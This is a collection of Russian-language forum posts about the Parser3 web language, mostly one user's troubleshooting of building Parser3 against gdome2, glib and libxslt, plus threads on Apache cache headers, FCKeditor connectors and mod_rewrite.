parser спрашивает gdome: \"тебе какие заголовочные файлы и библиотеки для сборки нужны?\".\
тот отвечает \"такие-то\".\
parser использует те, что gdome ему отвечает.\
узнаёт об этом в момент parser3|configure.\
вероятно, вы сначала собрали с одними библиотеками, потом собрали другие.\
нужно сделать\
[code]\
cd /.../parser3\
rm *.cache\
./configure ...\
[/code]"
"44551","вот что писал ПАФ: http://www.parser.ru/forum/?id=17733\
\
т.е. по хорошему ваш delete должен быть примерно таким:\
[code]\
@delete[line]\
$BASE:что-то[^BASE:select(^BASE:line[] != $line)]\
[/code]\
\
но вот указать это \"что-то\" вы не можете, ибо нет такого в язяке.\
\
можно конечно пойти другим путем: у вашего класса создать переменную класса table и написать набор методов, как у системного класса (menu, select...) которые будут работать с этой переменной, но получается что для этого совершенно не нужно наследоваться от системного класса.\
\
P.S. мне самому ни разу не требовалось иметь класс с функционалом как у системного, но имеющего ещё пару моих методов. не поделитесь, какой у вас практический интерес к этому?"
"44552","Сделал то, что Вы сказали. Ситуация не изменилась.\
Даже на всякий случай всё сделал заного, а именно (учитывая, что перед этим удалил папки parser3project и gnome в $HOME):\
[code]\
 cd gc6.6\
 ./configure --disable-threads\
 make install\
\
 mkdir parser3project\
 cd parser3project\
 cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
 cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_1_4 parser3\
\
 cd libxml2-2.6.21:\
 ./configure --prefix=$HOME/gnome --without-zlib --without-iconv --without-threads --silent\
 make install\
\
 cd libxslt-1.1.15:\
 ./configure --with-libxml-prefix=$HOME/gnome --prefix=$HOME/gnome --without-debug --without-debugger --silent\
 make install\
\
 cd glib-1.3.15:\
 ./configure --prefix=$HOME/gnome\
 make install\
\
 cd gdome2-0.8.1:\
 patch -p0 < $HOME/parser3project/parser3/src/lib/patches/gdome2.patch\
 ./configure --with-glib-prefix=$HOME/gnome --disable-glibtest --with-libxml-prefix=$HOME/gnome --prefix=$HOME/gnome --silent\
 make install\
 mkdir $HOME/gnome/include/libgdome/gdomecore\
 cp libgdome/gdomecore/gdome-xml-node.h $HOME/gnome/include/libgdome/gdomecore\
 cp libgdome/gdomecore/gdome-xml-document.h $HOME/gnome/include/libgdome/gdomecore\
\
 cd parser3project/parser3\
 ./configure --prefix=$HOME/parser3 --sysconfdir=$HOME/parser3 --localstatedir=$HOME/parser3 --with-shared-gc=/usr/local/lib --with-static-xml=$HOME/gnome --with-dynamic-stdcpp --with-mysql-client --disable-safe-mode\
 make\
[/code]\
И получаю такое содержание ошибки:\
[code]\
  -c -o compile.tab.o `test -f 'compile.tab.C' || echo './'`compile.tab.C; \\\
then mv -f \".deps/compile.tab.Tpo\" \".deps/compile.tab.Po\"; \\\
else rm -f \".deps/compile.tab.Tpo\"; exit 1; \\\
fi\
../../src/include/pa_stack.h: In member function 'void Stack<T>::push(T)':\
../../src/include/pa_stack.h:23: error: there are no arguments to 'count' that depend on a template parameter, so a declaration of 'count' must be available\
../../src/include/pa_stack.h:23: error: (if you use '-fpermissive', G++ will accept your code, but allowing the use of an undeclared name is deprecated)\
../../src/include/pa_stack.h: In member function 'T Stack<T>::pop()':\
../../src/include/pa_stack.h:31: error: there are no arguments to 'get' that depend on a template parameter, so a declaration of 'get' must be available\
../../src/include/pa_stack.h: In member function 'T Stack<T>::top_value()':\
../../src/include/pa_stack.h:39: error: there are no arguments to 'get' that depend on a template parameter, so a declaration of 'get' must be available\
../../src/include/pa_stack.h: In member function 'void Stack<T>::wipe_unused()':\
../../src/include/pa_stack.h:44: error: 'fused' was not declared in this scope\
../../src/include/pa_stack.h:45: error: 'felements' was not declared in this scope\
make[2]: *** [compile.tab.o] Error 1\
make[2]: Leaving directory `/home/beave/parser3project/parser3/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/beave/parser3project/parser3/src'\
make: *** [all-recursive] Error 1\
[/code]\
[i]P.S. Почему-то если я использую glib-2, то ошибка такая, а если glib-1, то предыдущая.[/i]"
"44553","Замечаю, что при сборке gdome2 он также обращается к [b]/usr/include/glib-2.0[/b] и [b]/usr/lib/glib-2.0/include[/b]...\
Не понимаю почему?!... Ведь я прописываю при ./configure ещё же --with-glib-prefix=$HOME/gnome --disable-glibtest? Или это не то?"
"44554","Здравствуйте! У меня есть такаяя проблемка с text & font'ом. Я всё сделал как нао рассчитал высоту и всё Ок. Но вот текст не печатается как хотелось бы мне этого, он просто выводится в том же порядке в каком и был введен в gif'e. Т.е. был введен 123456, а я захотел 32345, а пишет он 123456. Даже все 6 символов вместо 5. кто понял  меня, помогите."
"44556","http://www.parser.ru/forum/?id=44516\
вы это уже решили так:\
http://www.parser.ru/forum/?id=44545\
:)"
"44557","как она configur-ится, отдельная песня.\
автор невменяем :(\
однако подобного мы не наблюдали.\
\
выходит, gdome configure как-то находит что-то другое.\
однако пусть вас эти сообщения не беспокоят.\
\
вам важно: чтобы parser при сборке использовал правильный glib.\
\
вопрос: раз gdome где-то нашёл другой glib, может позволить ему этот glib и подключить? и parser-у потом, соответственно, тоже?\
\
почему возникла задача непременно 1.x?"
"44559","а нужно вертикально"
"44561","Начинает болеть голова...\
Gdome2 находит glib2 в /usr и собирается с ним. А Parser почему-то с удовольствием хлебает из:\
[code]\
...\
-I/usr/include/glib-1.2 -I/usr/lib/glib/include\
...\
[/code]\
Довольно интересно!\
И щи получаются такие же:\
[code]\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/usr/local/lib -lgc /home/beave/gnome/lib/libgdome.a /home/beave/gnome/lib/libxslt.a /home/beave/gnome/lib/libexslt.a /home/beave/gnome/lib/libxml2.a -lglib/libglib.a  -lstdc++ -lcrypt -lm\
/usr/bin/ld: cannot find -lglib/libglib.a\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory `/home/beave/parser3project/parser3/src/targets/cgi'\
make[2]: *** [all-recursive] Error 1\
make[2]: Leaving directory `/home/beave/parser3project/parser3/src/targets'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/beave/parser3project/parser3/src'\
make: *** [all-recursive] Error 1\
[/code]\
Для интереса попробовал выполнить:\
[code]\
[beave@localhost parser3]$ /usr/bin/ld /usr/lib/libglib.a\
/usr/bin/ld: warning: cannot find entry symbol _start; not setting start address\
[beave@localhost parser3]$ /usr/bin/ld /home/beave/gnome/lib/libglib.a\
/usr/bin/ld: /home/beave/gnome/lib/libglib.a: No such file: No such file or directory\
[/code]\
И я заметил, что там нет файла libglib.a, а есть libglib.la... Вроде бы есть путь решения. Правда нужно понять какой."
"44562","Разбираюсь с движком antistatic(ссылку нашёл здесь на форуме).Всё вроде понятно.Вся необходимая информация о объектах, процессах, блоках, темплейтах и сайтах добавлена в БД.Всё прекрасно работает, кроме блоков.При попытке вызвать обработку блока из обработчика парсер выдаёт ошибку:\
[quot]method of engine (engine) accepts maximum 0 parameter(s)\
Ошибку вызвал этот фрагмент:\
main\
Ошибка произошла при работе с файлом:\
\
//classes/engine.p, строка номер 408\
[/quot]\
Почитал FAQ, заэкранировал все спецсимволы в теле блока, результат такой же.Документацию читал.Поиск юзал.\
Вот код:\
[code]\
@executeBlock[dataProcessID;blockParam;blockBody]\
# подготовка обработчика к использованию\
^prepareProcesess[$dataProcessID]\
# запуск обработчика\
^if($PROCESSES.[$dataProcessID].main is junction){\
	$result[^PROCESSES.[$dataProcessID].main[$blockParam;$blockBody]]\
}{\
	$result[]\
}\
#end @executeBlock[]\
[/code]\
Я не прошу превести рабочий код, можете просто указать на причину по которой произошла эта ошибка или сказать в каком месте нужно перечитать документацию.Заранее спасибо."
"44563","Да? спасибо попробую!\
А в документации хотяб пример гиф бы был, а то даже про позиционирование ничего не сказанно."
"44564","Имхо 100 хостов в день - это пук для веб сервера"
"44565","Это ошибка вроде значит что метод принимает максимум 0 параметров, т.е. без параметров вызывается т.е. надо вызывать ^method[] а не ^method[bla-bla-bla...]"
"44566","Для меня классический случай (если это не портал и не сложная система)\
[code]\
form.html\
--------------\
\
#-- FUNC --\
^if($form:act eq 'savedata'){\
...тут типа обработка формы...\
}\
#-- /FUNC --\
\
<HTML>\
...\
<form action=\"\" method=\"POST\">\
<input type=\"hidden\" name=\"act\" value=\"savedata\">\
<input type=\"text\" name=\"data\">\
<input type=\"Submit\" value=\" SAVE \">\
</form>\
...\
</HTML>\
[/code]\
\
И ни каких лишних редиректов нафиг они нужны!!!!\
Главное чтобы обработка данных выше была вывода если это новости или гестбук или в этом духе..."
"44567","иметь, то чего разработчики парсера, в частности PAF, не хотят по тем или иным причинам сделать. Хотелось бы сделать класс а-ля table, в котором также есть методы удаления/редактирования строк и содержимого ячеек таблицы. И естественно хотелось бы эти методы иметь в одном классе вместе с доступными (select, menu и т.п.), переписывать которые самому не хотелось бы, ибо зачем изобретать велосипед?"
"44568","[code]$process_body[^process_body.match[\\@main\\^[\\^]][g]{@${pname}^[^]}][/code]\
[code]$process_body[^process_body.match[\\@main\\^[\\^]][g]{@${pname}^[block_data^]}][/code]\
разберись в чем разница между этими строками, если ты принимаешь параметры, то должен их и посылать!"
"44569","Для этого все обработчики блоков должны быть готовы принять два параметра.\
Почему тогда не сделал передачу-приемку параметров хэшем - уже не помню. Правда :)"
"44571","У меня *.chm - версия"
"44573","Проблема уже решилась совмесно с службой поддержки Мастерхоста, пишу здесь, чтобы если кому то нужно будет могли найти.\
\
[b]Суть проблемы:[/b]\
\
Заметил что браузер упорно кэширует страницы сайта который я активно обновлял, поставил в корневом auto.p в нужном месте антикэширующие заголовки:\
[code]\
$response:expires[0]\
$response:cache-control[no-cache, must-revalidate]\
$response:pragma[no-cache]\
[/code]\
\
Все вроде заработало как нужно, и когда стал смотреть какие же заголовки ответа выдает мой сайт увидел некоторый винегрет:\
[code]\
-bash-2.05b$ HEAD http://www.artemid.ru/\
200 OK\
Cache-Control: no-cache, must-revalidate\
Cache-Control: max-age=0\
Connection: close\
Date: Thu, 15 Sep 2005 06:33:25 GMT\
Pragma: no-cache\
Server: Apache/1.3.33 (Unix)\
Content-Length: 13282\
Content-Type: text/html; charset=WINDOWS-1251\
Expires: 0\
Expires: Thu, 15 Sep 2005 06:33:25 GMT\
Last-Modified: Mon, 29 Aug 2005 13:05:45 GMT\
Client-Date: Thu, 15 Sep 2005 06:33:25 GMT\
Client-Peer: 217.16.xxx.xxx:80\
Client-Response-Num: 1\
[/code]\
\
Дублирующиеся заголовки! Некрасиво как-то.\
Оказалось что в настройках апача используется для кэширования модуль mod_expires, который и ставит кэштрующие заголовки, согласно установок мастерхост.\
Парсер, как я понял просто добавляет свои заголовки, не заменяя их, хотя может я ошибаюсь.\
Попробывал написать в корневом .htaccess сайта директиву \
[code]\
ExpiresActive off\
[/code]\
но почему-то она не дала никакого эффекта, обратился к службе поддержки, те быстро отписались что мол виноват ваш Parser.\
\
После несложного эксперимента (создал папку тестовую, удалил там обработчик с html файлов (RemoveHandler .html) и там отловил кэширующие заголовки) убедил саппорт в том что парсер тут не виноват.\
\
Тут же выяснилось что директива [code] ExpiresActive off[/code] не срабатывает на html файлы у которых парсер обработчик.\
Дальше думали сотрудники службы поддержки, и нашли решение.\
\
Оказывается нужно было сделать файл .htaccess в cgi-bin папке с парсером и там прописать директиву [code] ExpiresActive off[/code].\
Сейчас вроде всё работает как нужно.\
[code]\
-bash-2.05b$ HEAD http://www.artemid.ru/\
200 OK\
Cache-Control: no-cache, must-revalidate\
Connection: close\
Date: Thu, 15 Sep 2005 06:56:45 GMT\
Pragma: no-cache\
Server: Apache/1.3.33 (Unix)\
Content-Length: 13308\
Content-Type: text/html; charset=WINDOWS-1251\
Expires: 0\
Last-Modified: Mon, 29 Aug 2005 13:05:45 GMT\
Client-Date: Thu, 15 Sep 2005 06:56:45 GMT\
Client-Peer: 217.16.xxx.xxx:80\
Client-Response-Num: 1\
[/code]\
\
Может эта инфа кому-то еще поможет."
"44575","[code]\
~/parser3project/parser3> ./configure --help |grep glib\
  --with-glib-config=FILE FILE is glib library\
                          configuration file (search for glib*-config)\
[/code]\
\
parser спрашивает у него, где брать заголовки и библиотеку.\
\
очевидно, он сам просто не нашёлся.\
добавлю на будущее, чтобы и glib2-config искался тоже.\
(автора gdome встретите, дайте в глаз, за то, что он использовал эту гадость, а не скопировал себе оттуда несчастный list/hash)"
"44576","- сначала парсер создает документ с пачкой заголовков\
- потом апач добавляет свои перед отдачей пользователю\
\
директиву для отключения кодировок тоже у некоторых хостеров надо помещать в cgi-bin (эх, хорошо что у нас насчет этого нет головной боли =) )"
"44577","[code]\
@CLASS\
Table\
@Create[Body]\
$data[^table::create{$Body}]\
@Select[Expression]\
^data.select($Expression)\
@Field[Name]\
$data.$Name\
@...[]\
...\
[/code]"
"44579","есть ощущение, что вы хотите делать что-то такое, что может [b]отлично[/b] делать SQL сервер."
"44581","Во бывает! Захожу в $HOME/gnome/bin и ищу файл glib-config...\
И вот что я вижу:\
[code]\
gdome-config\
glib-gettextize\
gobject-query\
xmlcatalog\
xslt-config\
glib-genmarshal\
glib-mkenums\
xml2-config\
xmllint\
xsltproc\
[/code]\
И где же этот glib-config? ;-)"
"44582","У меня Denwerский CHM"
"44583","Дайте пожалуйста ссылку на материал по созданию графического счетчика на 3 парсере. Только если можно с объяснениями..."
"44585","возьмите этот файл из glib1 и подложите в bin.\
поправьте в нём в первой строчке путь, сработает."
"44586","Есть несколько причин сделать именно так, как я сделал. К тому же, это всего лишь кусок достаточно большого класса, в котором нужен этот редирект. Да и просто интересно, как вообще так может происходить?"
"44587","спасибо... гляну"
"44588","тут - copy/paste вашего кода с заменой ^f:submit[;Go] на \
<input type='submit' name='action' value='Go'/> и  /temp.html на /_t.html:\
\
http://www.parser.ru/_t.html\
\
у меня работает во всех трех броузерах: IE6, FireFox 1.06 и Opera 8.02\
\
возможно в вашем случае Апач добавляет что-либо в заголовки и портит вам всю малину."
"44589","Исправил , отобразилось .. \
Пробую залить файл , нечаго не просиходит немогу понять в чём дело ...\
Что может быть нетак ? Список файлов тоже не отобрадает , сто раз перезаливал тоже самое ..."
"44590","Добавил файл glib-config в $HOME/gnome/bin следующего содержания:\
[code]\
#!/bin/sh\
\
prefix=/home/beave/gnome\
exec_prefix=/home/beave/gnome\
exec_prefix_set=no\
\
usage()\
{\
	cat <<EOF\
Usage: glib-config [OPTIONS] [LIBRARIES]\
Options:\
	[--prefix[=DIR]]\
	[--exec-prefix[=DIR]]\
	[--version]\
	[--libs]\
	[--cflags]\
Libraries:\
	glib\
	gmodule\
	gthread\
EOF\
	exit $1\
}\
\
if test $# -eq 0; then\
	usage 1 1>&2\
fi\
\
lib_glib=yes\
\
while test $# -gt 0; do\
  case \"$1\" in\
  -*=*) optarg=`echo \"$1\" | sed 's/[-_a-zA-Z0-9]*=//'` ;;\
  *) optarg= ;;\
  esac\
\
  case $1 in\
    --prefix=*)\
      prefix=$optarg\
      if test $exec_prefix_set = no ; then\
        exec_prefix=$optarg\
      fi\
      ;;\
    --prefix)\
      echo_prefix=yes\
      ;;\
    --exec-prefix=*)\
      exec_prefix=$optarg\
      exec_prefix_set=yes\
      ;;\
    --exec-prefix)\
      echo_exec_prefix=yes\
      ;;\
    --version)\
      echo 1.2.10\
      exit 0\
      ;;\
    --cflags)\
      echo_cflags=yes\
      ;;\
    --libs)\
      echo_libs=yes\
      ;;\
    glib)\
      lib_glib=yes\
      ;;\
    gmodule)\
      lib_gmodule=yes\
      ;;\
    gthread)\
      lib_gthread=yes\
      ;;\
    *)\
      usage 1 1>&2\
      ;;\
  esac\
  shift\
done\
\
if test \"$echo_prefix\" = \"yes\"; then\
	echo $prefix\
fi\
if test \"$echo_exec_prefix\" = \"yes\"; then\
	echo $exec_prefix\
fi\
if test \"$echo_cflags\" = \"yes\"; then\
	cflags=\"\"\
	if test \"$lib_gthread\" = \"yes\"; then\
		cflags=\"$cflags  -D_REENTRANT\"\
	fi\
	echo -I/home/beave/gnome/include/glib-2.0 -I/home/beave/gnome/lib/glib-2.0/include $includes $cflags\
fi\
if test \"$echo_libs\" = \"yes\"; then\
	libsp=\"\"\
	libsa=\"\"\
	if test \"$lib_glib\" = \"yes\"; then\
		libsp=\"$libsp -lglib\"\
	fi\
	if test \"$lib_gthread\" = \"yes\"; then\
		libsp=\"-lgthread $libsp\"\
		libsa=\"$libsa -lpthread\"\
	fi\
	if test \"$lib_gmodule\" = \"yes\"; then\
		libsp=\"-rdynamic -lgmodule $libsp\"\
		libsa=\"$libsa -ldl\"\
	fi\
	echo $libsp $libsa\
fi\
\
[/code]\
Плюс к этому сделал следующее:\
[code]\
 cd $HOME/gnome/lib\
 ln libglib-2.0.a libglib.a -s\
 ln libglib-2.0.la libglib.la -s\
 ln libglib-2.0.so libglib.so -s\
 ln libgmodule-2.0.a libgmodule.a -s\
 ln libgmodule-2.0.la libgmodule.la -s\
 ln libgmodule-2.0.so libgmodule.so -s\
 ln libgobject-2.0.a libgobject.a -s\
 ln libgobject-2.0.la libgobject.la -s\
 ln libgobject-2.0.so libgobject.so -s\
 ln libgthread-2.0.a libgthread.a -s\
 ln libgthread-2.0.la libgthread.la -s\
 ln libgthread-2.0.so libgthread.so -s\
[/code]\
\
\
Собирал Parser 3 и снова получил знакомую ошибку:\
[code]\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/usr/local/lib -lgc /home/beave/gnome/lib/libgdome.a /home/beave/gnome/lib/libxslt.a /home/beave/gnome/lib/libexslt.a /home/beave/gnome/lib/libxml2.a -lglib/libglib.a  -lstdc++ -lcrypt -lm\
/usr/bin/ld: cannot find -lglib/libglib.a\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory `/home/beave/parser3project/parser3/src/targets/cgi'\
make[2]: *** [all-recursive] Error 1\
make[2]: Leaving directory `/home/beave/parser3project/parser3/src/targets'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/beave/parser3project/parser3/src'\
make: *** [all-recursive] Error 1\
[/code]"
"44591","Буду локализовывать причину различий."
"44592","было:\
[code]\
echo $libsp $libsa\
[/code]\
сделать:\
[code]\
echo -L${exec_prefix}/lib $libsp $libsa\
[/code]\
\
забавно, что в моей копии (glib1.2.10) это есть."
"44593","С предудущим вопросом разобрался .. \
Только немогу понять , мне надо тоб использовался в качестве загрузчика картиной не asp а php \
Надо чтоб вместо /admin/editor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp было http://172.16.3.187/test/admin/editor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php\
Почему-то конфиг у меня вообще не вопринимаеться , хотя удаляй хоть пиши что хочешь в нём....\
Может можно это какнить исправить ?"
"44594","Зачем трогать SQL сервер, если таблица например из 20-ти записей?\
Мне кажется это неоправданно.. Ведь SQL в первую очередь предназначен для больших обьемов данных"
"44595","и в случае неявной ошибки в самом неожиданном месте ловить unhandled exeption, там где его и быть не должно?"
"44596","Наступил на те же грабли.\
Последовательность действий:\
- в файле fckconfig.js раскомментировал все что связано с connector.php (те что были connector.asp закомментировал)\
- в файле config.php исправил false на true(включил connector)\
- проверил на ..\\FCKeditor\\editor\\filemanager\\browser\\default\\connectors\\test.html - все работает, файлы аплодятся, папки создаются.\
- перехожу в свою форму, выбираю \"вставить картинку\", далее \"Посмотреть на сервере\" - не работает(немогу создать папку, аплод картинки и тд). Сейчас разбираюсь в [url=\"http://wiki.fckeditor.net/Developer%27s_Guide/Configuration/Built_in_File_Browser\"]доках[/url]"
"44597","tricord\
Спасибо за ссылку на документацию....\
вообщем надо было в начале файла ( ну это думаю не важно ) прописать :\
[code]FCKConfig.LinkBrowserURL = FCKConfig.BasePath + 'editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php' ;\
FCKConfig.ImageBrowserURL = FCKConfig.BasePath + 'editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php' ;[/code]\
\
И всё, у меня всё заработало )"
"44598","Форум имеет одни исходные коды с форумом http://parser.ru/forum/\
\
В .htaccess (файл находится в директории /forum/) прописано следующее: \
\
[code]\
RewriteBase /\
\
RewriteRule ^forum/$ /?page=forum\
RewriteRule ^forum/self/$ /?page=forum&type=self\
RewriteRule ^forum/register/$ /?page=forum&show=register\
RewriteRule ^forum/([0-9]+)/$ /?page=forum&id=$1\
RewriteRule ^forum/user/([0-9]+)/$ /?page=forum&uid=$1\
[/code]\
\
К примеру в файле .html имеется ссылка [code]/1/[/code], которая в соответсвии справилом [code]RewriteRule ^forum/$ /?page=forum[/code] должна быть преобразована в [code]/?page=1[/code], но... Вот ссылка http://sfmaup.com.ua\
\
P.S. Может я не правильно понял работу самого модуля mod_rewrite?"
"44599","если задача состоит в редактировании таблицы, хранящейся на диске и состоящей из небольшого количества записей - то по моему тут не нужно писать такой класс. достаточно написать методы delete и update использовать их (вы же не находите криминала в том, что ^file:justext[] - статический метод, а ^файл.save[] - нет?)"
"44600","[quot]\
Форум имеет одни исходные коды с форумом http://parser.ru/forum/\
[/quot]\
\
интересно, а откуда они у вас? :)\
\
P.S. по моему вы неправильно поняли работу модуля mod_rewrite."
"44601","Теперь получил такое:\
[code]\
if gcc -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../../classes -I../../types -I../../sql -I../../lib/gc/include -I../../lib/cord/include -I../../lib/pcre -I../../lib/md5 -I-I../../../src/lib/ltdl -I/home/beave/gnome/include/glib-2.0-I/home/beave/gnome/lib/glib-2.0/include -I/home/beave/gnome/include -I/home/beave/gnome/include/libgdome -I/home/beave/gnome/include/libxml2    -g -O2 -MT getopt.o -MD -MP -MF \".deps/getopt.Tpo\" \\\
  -c -o getopt.o `test -f 'getopt.c' || echo './'`getopt.c; \\\
then mv -f \".deps/getopt.Tpo\" \".deps/getopt.Po\"; \\\
else rm -f \".deps/getopt.Tpo\"; exit 1; \\\
fi\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/usr/local/lib -lgc /home/beave/gnome/lib/libgdome.a /home/beave/gnome/lib/libxslt.a /home/beave/gnome/lib/libexslt.a /home/beave/gnome/lib/libxml2.a /home/beave/gnome/lib/libglib.a  -lstdc++ -lcrypt -lm\
/home/beave/gnome/lib/libexslt.a(crypto.o): In function `exsltCryptoGcryptInit':\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:336: undefined reference to `gcry_check_version'\
/home/beave/gnome/lib/libexslt.a(crypto.o): In function `exsltCryptoGcryptHash':\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:361: undefined reference to `gcry_md_hash_buffer'\
/home/beave/gnome/lib/libexslt.a(crypto.o): In function `exsltCryptoGcryptRc4Encrypt':\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:374: undefined reference to `gcry_cipher_open'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:383: undefined reference to `gcry_cipher_ctl'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:391: undefined reference to `gcry_cipher_encrypt'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:400: undefined reference to `gcry_cipher_close'\
/home/beave/gnome/lib/libexslt.a(crypto.o): In function `exsltCryptoRc4EncryptFunction':\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:377: undefined reference to `gcry_strerror'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:394: undefined reference to `gcry_strerror'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:385: undefined reference to `gcry_strerror'\
/home/beave/gnome/lib/libexslt.a(crypto.o): In function `exsltCryptoGcryptRc4Decrypt':\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:413: undefined reference to `gcry_cipher_open'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:422: undefined reference to `gcry_cipher_ctl'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:430: undefined reference to `gcry_cipher_decrypt'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:439: undefined reference to `gcry_cipher_close'\
/home/beave/gnome/lib/libexslt.a(crypto.o): In function `exsltCryptoRc4DecryptFunction':\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:416: undefined reference to `gcry_strerror'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:433: undefined reference to `gcry_strerror'\
/home/beave/libxslt-1.1.15/libexslt/crypto.c:424: undefined reference to `gcry_strerror'\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory `/home/beave/parser3project/parser3/src/targets/cgi'\
make[2]: *** [all-recursive] Error 1\
make[2]: Leaving directory `/home/beave/parser3project/parser3/src/targets'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/beave/parser3project/parser3/src'\
make: *** [all-recursive] Error 1\
[/code]"
"44602","т.е.в файле fckconfig.js эти строчки не надо раскомментировать?\
Все равно что-то не получается (использую вид подключения через TEXTAREA replacement method)."
"44603","У него исходные коды не именно этого форума, а схожего. Код проскакивал как-то тут. Автор вроде Сер}|{ Плюс иконки юзера и пароля \"позаимствованы\" от сюда.\
P.S. Кое-кто забыл поставить запрет на доступ к .p-файлам."
"44604","К примеру :-))"
"44605","Нравится критиковать? Пожалуйста! Это стимулирует.\
\
Но я помощи просил. (\
\
P.S.\"...не трудно назвать вещи своими именами... трудно поставить под Этим свою подпись...\""
"44606","сделайте, чтобы libxslt собрался без этого.\
или выясните, что за библиотеку нужно подкомпоновать и сделайте\
[code]\
make LDFLAGS=/path/to/libЭТА.a\
[/code]"
"44607","вызвать!\
\
если есть желание что-то добавить в parser, исходники доступны, добавьте все, что считаете нужным."
"44608","Большое Вам спасибо за такую хорошую помощь!!! Я уже и не надеялся, что parser когда-нибудь соберётся... ;-)\
[code]\
./configure --prefix=$HOME/parser3 --sysconfdir=$HOME/parser3 --localstatedir=$HOME/parser3 --with-shared-gc=/usr/local/lib --with-static-xml=$HOME/gnome --with-glib-config=$HOME/gnome/bin/glib-config --with-dynamic-stdcpp --with-mysql-client --disable-safe-mode\
[/code]\
[i]P.S. Ещё раз спасибо![/i]"
"44609","От Parser 3.1.4 подойдёт?"
"44611","2. у мозилы есть такая фича\
3. поставить приблуду, показывающие их под IE\
4. опера тоже умеет показывать _некоторые_ заголовки"
"44612","Да, конечно вызвать, сорри\
\
желание добавить есть, но знания C - нет.\
к тому же с каждой новой версией придется опять лезть в исходники и пересобирать парсера. Зачем?\
\
Почему Вы не хотите добавить методы редактирования таблиц в парсер, к сожалению на форуме найти не могу, не повторите мне еще раз? Ведь это было бы удобно для многих его использующих. SQL - хорошо, но не всегда. В итоге люди вынуждены писать свои методы, классы как я. И думаю таких много. Разве это хорошо?\
Вы разработчик парсера, и делаете его по своей идеологии, это понятно до тех пор, пока Вы делаете инструмент под себя. Но Вы же его предлагаете другим, причем под лозунгом облегчения труда, а такую полезную вещь сделать не хотите. Странно."
"44613","а жаль, надеялся сделать более удобным для меня способом.\
\
Кстати, в Вашем примере я не нахожу ничего криминального, но только по той причине, что я не понял к чему Вы его привели."
"44614","для полного арсенала"
"44616","Ну собственно подключал по способу описанному в этом топике )\
Если у тебя вётаки нечаго не получилось прикладывая свой конфиг )\
http://argus-studio.net.ru/forpublic/fckconfig.js"
"44617","А можно ли с помощью парсера создать программу для вычесления дней до определеной даты?(Что то вроде JavaScript'a) А то на яве учитывается время пользователя, а не сервера."
"44619","На мой комп установлен денверовский Парсер для тестирования. Со всеми принадлежностями в том числе и со справочником. Для создания этого кода нужны какие либо дополнительные методы, конструкторы или операторы."
"44621","Мне их прислали и уже давненько"
"44622","На http://oleg.proc.ru/jdate/ вычисления делает Паскалевская программа, которая вызывается из Парсера через file::exec.\
\
Сергей Лифшиц, в свое время, сделал класс на Парсере, который позволяет производить нужные вычисления - http://www.parser.ru/examples/cdate/"
"44623","Sumo, ответьте пожалуйса как мне можно установить на Дэнвер новый класс? Я просто с этим ни когда не сталкивался и не смогу сделать."
"44626","расскажите подробнее.\
\
да, я специально принуждаю пользователей пользоваться SQL."
"44628","Не пойму что с этим классом... Раньше работало такое:\
[code]\
^if(-f \"index.html\"){\
	...\
}\
[/code]\
Сейчас выдаёт ошибку:\
[code]\
[b]if[/b]\
\
condition must be expression (parameter #1)\
[/code]\
Bug или изменение для новой версии Парсера?"
"44629","[code]\
^if(-f index.html){\
	...\
}\
[/code]\
Но не понятно чем кавычки перестали нравится Парсеру?"
"44630","имеет смысл взять из CVS версию не из этой ветки, а пораньше. но уже после изменений, связанных с завинчиванием гаек в gcc:\
\
от 2005-03-17 числа подойдёт."
"44631","просто чтобы знали, что вы не одиноки...\
\
а вот как насчет такого момента как избыточность языка? я для себя его не решил пока - хорошо её иметь или плохо...\
хорошо тем, что задачи народ сможет решать быстрее кому что привычнее... плохо - усложнение...\
